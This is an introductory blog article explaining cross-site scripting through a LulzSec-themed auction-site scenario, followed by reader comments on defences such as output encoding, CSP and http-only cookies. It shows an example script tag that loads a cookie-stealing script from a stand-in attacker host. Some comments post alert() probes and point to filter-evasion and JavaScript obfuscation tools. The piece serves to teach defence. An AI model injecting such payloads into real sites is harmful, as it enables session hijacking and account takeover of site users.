In 2011, a group of hackers known as Lulzsec went on a two month rampage hacking into dozens of websites including those owned by FOX, PBS, the FBI, Sony and many others. The group was eventually caught and questioned in how they were able to pull off so many hacks. It would be revealed that none of the hackers actually knew each other in real life. They didn’t even know each other’s real names. They only spoke in secluded chat rooms tucked away in a dark corner of the internet and knew each other by their aliases – [tFlow], [Sabu], [Topiary], [Kayla], to name a few. Each had their own special skill, and when combined together they were a very effective team of hackers.
It was found that they used 3 primary methods of cracking into websites – SQL injection, cross-site scripting and remote file inclusion. We gave a basic overview of how a SQL injection attack works in the previous article of this series. In this article we’re going to do the same with cross-site scripting, or XSS for short. SQL injection has been called the biggest vulnerability in the history of mankind from a potential data loss perspective. Cross-site scripting comes in as a close second. Let’s take a look at how it works.
XSS Scenario
Let us suppose that you wanted to sell an Arduino on your favorite buy-and-sell auction website. The first thing to do would be to log into the server. During this process, a cookie from that server would be stored on your computer. Anytime you load the website in your browser, it will send that cookie along with your HTTP request to the server, letting it know that it was you and saving you from having to log in every time you visit. It is this cookie that will become the target of our attack.
You would then open up some type of window that would allow you to type in a description of your Arduino that potential buyers could read. Let’s imagine you say something like:
Arduino Uno in perfect condition. New in Box. $15 plus shipping.
You would save your description and it would be stored on a database in the server. So far, there is nothing out of the ordinary or suspicious about our scenario at all. But let’s take a look at what happens when a potential buyer logs into the server. They’re in need of an Arduino and see your ad that you just posted. What does their browser see when they load your post?
Arduino Uno in perfect condition. <b>New in Box</b>. $15 plus shipping.
Whether you realize it or not, you just ran HTML code (in the form of the bold tags) on their computer, albeit harmless code that does what both the buyer and seller want – to highlight a specific selling point of the product. But what other code can you run? Can you run code that might do something the buyer surely does not want? Code that will run on any and every computer that loads the post? Not only should you be able to see where we’re going with this, you should also be able to see the scope of the problem and just how dangerous it can be.
Now let us imagine a Lulzsec hacker is out scoping for some much needed lulz. He runs across your post and nearly instantly recognizes that you were able to run HTML code on his computer. He then makes a selling ad on the website:
Lot of 25 Raspberry Pi Zeros - New in Box - < script src="http://lulz.com/email_me_your_cookie.js" ></script> - $100, free shipping.
Now as soon as someone opens up the hacker’s ad, the script section will load up the malicious off-site code and steal the victim’s session cookie. Normally, only the website specified in a cookie has access to that cookie. Here, since the malicious code was served from the auction website’s server, the victim’s browser has no problem with sending the auction website’s cookie. Now the hacker can load the cookie into his browser to impersonate the victim, allowing the hacker access to everything his victim has access to.
Endless Opportunities
With a little imagination, you can see just how far you can reach with a cross-site scripting attack. You can envision a more targeted attack with a hacker trying to get inside a large company like Intel by exploiting a flawed competition entry process. The hacker visits the Intel Edison competition entry page and sees that he can run code in the application submission form. He knows someone on the Intel intranet will likely read his application and guesses it will be done via a browser. His XSS attack will run as soon as his entry is opened by the unsuspecting Intel employee.
This kind of attack can be run in any user input that allows containing code to be executed on another computer. Take a comment box for instance. Type in some type of < script >evil</script>
into a comment box and it will load on every computer that loads that page. [Samy Kamkar] used a similar technique to pull off his famous Myspace worm as we talked about in the beginning of the previous article in this series. XSS, at one time, could even have been done with images.
Preventing XSS attacks
As with SQLi based attacks, almost all website developers in this day and age are aware of XSS and take active measures to prevent it. One prevention is validating input. Trying to run JavaScript in most applications where you should not be will not only give you an error, but will likely flag your account as being up to no good.
One thing you can do to protect yourself from such an attack is to use what is known as a sandboxed browser. This keeps code that runs in a browser in a “box” and keeps the rest of your computer safe. Most modern browsers have this technology built in. A more drastic step would be to disable JavaScript entirely from running on your computer.
There are people here that are far more knowledgeable than I on these type of hacking techniques. It was my hope to give the average hardware hacker a basic understanding of XSS and how it works. We welcome comments from those with a more advanced knowledge of cross-site scripting and other website hacking techniques that would help to deepen everyone’s understanding of these important subjects.
Source
Another good thing is to protect your cookies, by for example IP restricting them. By IP-restricting them, a attacker cannot make use of the cookie since its locked to the IP of the original owner.
I don’t think that would help in this instance, since the script would be reading the cookies *in the browser*…
Isn’t this server side only? It seems like this article was more focused on the client side aspect of things.
That would make a problem in multi ip NAT’s, and wouldn’t help if the attacker is in the same NAT (eg. carrier grade NAT or same business NAT). There is also a problem if user is using a laptop between locations, and he/she expects that he/she stays logged in on the website.
Session id regeneration is much more common, so the attacker has a small window of opportunity in using the stolen cookie.
It used to be common place for a website to associate the user’s ip address with their cookie. Unfortunately today with mobile browsers that jump from one cell-site to another or even off of the cellular carrier’s network altogether onto wifi and back this can’t really be done without locking out mobile users.
I fail to understand how a sandboxed browser would prevent XSS. Wouldn’t it just prevent a bug in the JS engine from allowing the script to access other things on the computer? Or is a sandboxed browser not what it sounds like?
A sandboxed browser will interpret HTML/JS the same way as a non-sandboxed browser. The difference is that a sandboxed browser is more prone to getting attacked by code execution exploits, which is different from XSS. However, XSS may be used as a vector to deliver a code execution exploit, however this would require 2 exploits: namely, the XSS exploit, and the browser-specific code execution exploit.
Your best bet from preventing the dangers of XSS is to use some browser plugin like noscript.
The difference is that a non-sandboxed browser doesn’t have sandbox protections against code execution exploits (which are different from XSS.) *
Minor error.
There was a guy on hackaday.io that showed some flaws in the website (during the sci-fi contest if I remember well) like adding a picture that would trigger the “add skull” action. Awesome.
That one was because, at that moment in time, hackaday.io wasn’t needed a cookie at all in order to skull a project. The picture was, in fact, a request to skull the project.
Now, a CSRF is _required_ in order to skull a project, so that exploit doesn’t work any more.
Still, the CSRF token can also be misused as in these examples, for fun:
https://hackaday.io/project/6621/log/20782-give-yourself-a-skull
https://hackaday.io/project/6621/log/21017-even-worst-then-skulling-yourself-follow-yourself
:o)
“A more drastic step would be to disable JavaScript entirely from running on your computer.”
It’s not really that drastic.
javascript should be used for bells and whistles only.
Anyone who cannot live without bells and whistles is a moron.
Any site which doesn’t function without javascript enabled is a piece of shit.
Now: Let’s see if it’s even possible to post a comment on hackaday without javascript.
I already know I have to disable my adblock before posting, because apparently “fuck me”.
funny you have to disable adblock to post as I do not i’m curious what the difference is. now i do use yesscript to stop really annoying js on a lot of pages especially ones that autoload audio/video or do constant refreshing.
For that matter javascript is kinda going the way of the dinosaur.
With the advent of HTML5, and use of PHP and python functions, there is relatively little you still need JS to do.
Most of your fantastical “bells and whistles” can be coded entirely in HTML5.
What HTML5 code is this? Web Audio API? Websockets? WebRTC? Canvas? WebGL? Yeah JavaScript is finished.
Surely PHP and Python are server side and not relevant to this discussion.
One word ‘Node.JS’. JS isn’t dead seeing how many companies are using node servers, which implement JS in the back end. Just my 2 cents.
Yeah fuck you, ads fund the site (or used to anyway).
Validating input is a way to prevent this attack but in your previous article, you showed a way to validate the input using javascript. BEWARE ! Input validation must be done on the server side as well since Javascript is executed on the client side and nothing can be done to prevent the user to modify it (e.g changing if(data is valid) { send_form(); } for if(True) {send_form();})
Probably the easiest modern way would be to use a content security policy in your HTTP responses (I think you can also put it in the HTML head, not sure)
http://content-security-policy.com/
CSP — This is the key solution to help eliminate the XSS and other malicious capabilities from the browser..
alert(1) Just checking whether hackaday.com is protected.
alert(1);
Looks good, removes the tags.
<tag>Don’t be too sure about that</tag>
Did you guys see what I had to do to get script tags into the body of the text? It took me twenty minutes of trying random stuff until I figured out that WP doesn’t screen out when you put the spaces in there…
@[Elliot Williams]
The angled brackets have special html entities called “less than” and “greater than”.
They are written like this –
< = <
> = >
The lt and gt stand for less than and greater than
Now the really tricky question is … how can I type < and not have it turn into a <
The best thing about JS is the evil() primitive!!
combine with jsfuck jsfuck.com sorry for the swear word but it is a way to embed javascript and it still execute
That is cool.
Also try jscrew.it – works on a similar principle but produces shorter code
Other than disabling javascript in your browser, there isn’t much you can do as a user. XSS prevention is primarily the responsibility of the site owner. They should be validating user input to make sure it contains only allowed tags (or better yet, no tags at all), and encoding output when splicing user provided content into a webpage. They should also be setting the “http-only” flag on cookies which tells the browser that scripts should not be allowed to access the cookie data. This prevents the type of XSS attack described in the article, although there are others. The OWASP XSS Prevention Cheatsheet (https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) is a great guide for site developers. And the XSS Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) is a good reference for seeing how creative attackers can be, and why you want to use a library for these things rather than trying to come up with your own rules.
Other than disabling JavaScript in your browser (as has been mentioned) there isn’t a lot you can do as a user to prevent this kind of attack. XSS defense is the responsibility of the site developer. They should be validating input to make sure it contains only allowed HTML tags, if any at all. Allowing HTML tags is a risky business. The OWASP XSS Filter Evasion Cheatsheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) shows just how many tags can be abused for XSS attacks. Site developers are better off encoding all user submitted output so that text remains just text and not html or javascript code. The XSS Defense Cheatsheet is a good guide here (https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet).
And for the love of god, sanitize your HTML inputs!
Because most people don’t need
&, , “, , !, @, $, %, (, ), =, +, {, }, [, or ]
in the “First name” box.
Having that extra layer embedded in the HTML form makes things just a teensy bit more difficult, and is not at all hard to implement.
For the love of god, if you want to sanitize your inputs then do it on the server, never trust your HTML forms.
Rule number one!!! Never never never trust anything that comes from the browser / client.
As for sanitizing inputs it’s a good idea but not secure because there will be a mistake somewhere.
So build a database abstraction the is used by all code so that you only have to get that code right! Use data objects that are separate to queries so there can be no injection.
I was recently tasked with penetration testing a Microsoft ASP.NET V2 (ancient, with lots of known vulnerabilities) site. Despite training several automated tools (OWASP, et al) against it and manual attacks using with browser dev tools (firebug, IE F12, etc) the worst I could do was make mischief e.g. see reports that the account I’d created was not entitled too, and then only if I’d hacked into the customer’s internal network (I was invited).
It really surprised me, the devs had done such a good job on the data layer (SQL server) that none of my usual exploits worked.
Ps, apologies for the crappy spelling; I’m writing this on a phone.
I see lots of comments about validating the input as a means of the developer protecting against XSS. This can be helpful but not a fool-proof (as mentioned in other comments). The correct way to fix XSS (works every time) is to output encode for the given context. If the data is going into HTML the use HTML entity encoding. If it is going into a JavaScript string then use JavaScript string escaping. There are some context for which you should not place data, such as JavaScript (non-string) and HTML attributes. AFAIK there is no fool-proof escaping/encoding for those contexts.
I recommend that every dev team makes a list of appropriate output contexts and a library which encodes for those defined contexts. If the developers follow this there is no need for input validation (though it can help catch when developers make mistakes).
A more common problem are servers that store passwords (instead of a password hash). Most people use same password in many places, and once 1 site is vulnerable, attackers can tippically gain access to the user’s email, and read his emails…and from there, request new passwords, find out about other accounts..etc. I recently took an online course and exam from a popular site, and I freaked out when they sent me the plain password in a “welcome” email.
Password managers are even available for free…
If you freak out about plaintext passwords in email, use randomly generated passwords for everything…
Heck, you can even go to the lengths of getting a cheap pocket computer (be it a smartphone, tiny tablet or something else) and use it exclusively for the password manager.
For added tin-foil hat cred, you can “castrate” the poor thing by physically disabling it’s wireless connectivity.
Yeah, and then hope that thing never breaks or gets lost/stolen/whatever, because then you don’t remember one single password…
If the “cheap pocket computer” had a memory slot, could a memory device (e.g. microSD) hold a backup of the information and only need to be inserted into the “cheap pocket computer” once a week to freshen the backup,
and then be available to another device when the “cpc” breaks/stolen/whatever?
Or you could write your randomly generated passwords on a piece of paper. No battery to go dead, no crashing or blue screen of death,… It’s cheap you can store multiple backups in safe deposit boxes or distribute them you your friends and enemies (the world is but a stage?)
Or ÿÖÜ could use characters that aren’t easily obtainable from a keyboard unless you know a little about the code that runs in the keyboard micro-controller.
just checking if the site field allows javascript..
but you still have click the link…
javascript:alert(“meh..”);
uBlock default-deny mode https://github.com/gorhill/uBlock/wiki/Dynamic-filtering:-default-deny
It at least doesn’t run 3rd party code like in the example. However JS code contained in the post will be executed.
We just use database firewall, that’s enough
They have some info about beating SQL injections
https://www.datasunrise.com/how-datasunrise-deals-with-sql-injections/?id5
alert(“hello”);
LOL.